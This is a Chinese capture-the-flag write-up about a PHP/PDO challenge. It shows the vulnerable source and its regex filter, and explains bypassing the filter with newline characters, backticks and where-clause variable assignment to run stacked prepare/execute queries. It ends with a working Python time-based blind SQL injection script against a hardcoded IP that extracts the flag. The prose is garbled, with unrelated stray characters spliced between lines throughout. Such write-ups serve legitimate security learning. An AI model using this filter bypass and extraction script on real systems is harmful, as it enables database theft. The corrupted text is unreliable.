https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&mid=2247484074&idx=1&sn=2bcac1abf8364cc4040d2f3cb07e21d6&chksm=eadf9571dda81c678acffc2e79a4363d085e372428a14cb525e324c1e9e492a84d6d52b7d054&mpshare=1&scene=23&srcid=12167GnqMynTveY20gEIhScx&sharer_sharetime=1576496036398&sharer_shareid=ae6683d6c0e7df9a0b7c15e7cacf6b3c#rd
https://www.cnblogs.com/wfzWebSecuity/p/12049920.html
#index.php
<?php
error_reporting(0);
include 'config.php';
$id=$_POST['i']?waf($_POST['i']):rand(1,8);
$v=$_POST['v']?waf($_POST['v']):'anime';
$sql="desc `acg_{$v}`";
if (!$conn->query($sql)){
die('no such table');
}
$sql = "SELECT * FROM acg_{$v} where id = '$id'";
$result=$conn->query($sql);
if (!$result){
die('error');
}
foreach ($result as $row) {
print "<!-- $row[0] --> \t";
print "$row[1]<br><img src='img/$row[1].jpg' style='width:600px;'>
<br>";
}
#config.php
<?php
$con = "mysql:host=localhost;port=3306;dbname=acg";
$conn = new PDO($con, 'user', 'user');
$conn->query('set names utf8');
function waf($s)
{
if (preg_match("/select|union|or|and|\.|\\\\| |\)|\'|\"|in|\*|-|do|set|case|regexp|like|prepare.|.execute|\/|#|\\0/i",$s)!=false||strlen($s)>10000)
die();
return $s;
}
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>key</title>
</head>
<body>
<form action='index.php' method='POST'>
<select name='v'>
<option value ="anime">anime</option>
<option value ="character">character</option><br>
</select>
<input type='text' name='i' placeholder='id'>
<input type='submit' value='query'>
</form>
</body>
</html>
看到PDO
,不難想到可以利用堆疊注入+預(yù)處理來進(jìn)行注入繞過。
但是問題是,題目中過濾了set
阶捆、prepare.
欠雌、.execute
策橘,這就造成了很大的困擾锚扎。
首先prepare.
和.execute
應(yīng)該是好繞的坎拐,因?yàn)槿绻菃渭兊倪^濾担忧,就不應(yīng)該在正則中加.
芹缔。
雖然正則表達(dá)式中.
代表的是任意字符,但是并不包括換行符瓶盛,換行符是([\s\S]*))
所以只需要prepare%0a
和%0aexecute
就可以繞過最欠。同時(shí)空格被過濾也能通過%0a
來進(jìn)行繞過。
接下來先看看在哪里進(jìn)行注入惩猫。題目中給出了兩個(gè)值id
和v
都可以插入到sql
語(yǔ)句中芝硬,但是問題是id
所在的語(yǔ)句是加了引號(hào)的,而引號(hào)是被過濾了的轧房。所以我們看一下v
所在的語(yǔ)句拌阴。
$sql="desc `acg_{$v}`";
$sql = "SELECT * FROM acg_{$v} where id = '$id'";
但是因?yàn)樽⑨尡贿^濾了,所以我們?cè)谏鲜龅诙€(gè)語(yǔ)句中無(wú)法將后面的where id='id'
給注釋掉奶镶,所以會(huì)產(chǎn)生語(yǔ)法錯(cuò)誤迟赃。所以我們這里選擇第一個(gè)語(yǔ)句。
trick1
我們發(fā)現(xiàn)在語(yǔ)句中通過反引號(hào)可以將原本報(bào)錯(cuò)的句子正常執(zhí)行了雖然反引號(hào)包起來的語(yǔ)句并不會(huì)影響原本語(yǔ)句的查詢結(jié)果
trick2
這里回想到剛才的set
過濾的問題還沒有解決。其實(shí)mysql
中除了用set
來給變量賦值之外捺信,還能用select
來完成變量賦值酌媒。這里列舉幾個(gè)賦值的方法
set @s='123';
select '123' into @s;
select @s:='123';
do @s:='123';
可是select
也被過濾了,這里我們就需要利用where
來幫我們完成select
的功能。如
這樣我們就可以完成堆疊查詢+預(yù)處理了秒咨。
payload
如下:
import requests
import libnum
flag = ''
url = 'http://139.217.112.201/'
pos = 1
while True:
for i in range(128):
try:
#sql = "select if(ascii(substr((select group_concat(table_name) from information_schema.columns where table_schema=database()),%d,1))=%d,sleep(4),1);" % (pos, i)
#sql = "select if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='acg_fff5lll1ll@g'),%d,1))=%d,sleep(4),1);" % (pos, i)
sql = "select if(ascii(substr((select flag from `acg_fff5lll1ll@g`),%d,1))=%d,sleep(4),1);" % (pos, i)
data="v=anime`%0a`%0awhere%0a@zz:=0x"+sql.encode('hex')+";prepare%0ast%0afrom%0a@zz;%0aexecute%0ast;&i="
re = requests.post(url=url, data=data, headers = {"Content-Type": "application/x-www-form-urlencoded"},timeout=2)
except Exception, e:
flag += chr(i)
print flag
break
print "oops!"
pos+=1
碼力太弱了喇辽。。post
里沒有加headers
雨席,結(jié)果應(yīng)該是沒將%0a
編碼茵臭,一直出不了答案。其實(shí)代碼中不用%0a
用\n
一樣的舅世,但是問題是為什么還要加headers
,難道是post
都要加這個(gè)嗎奇徒。雏亚。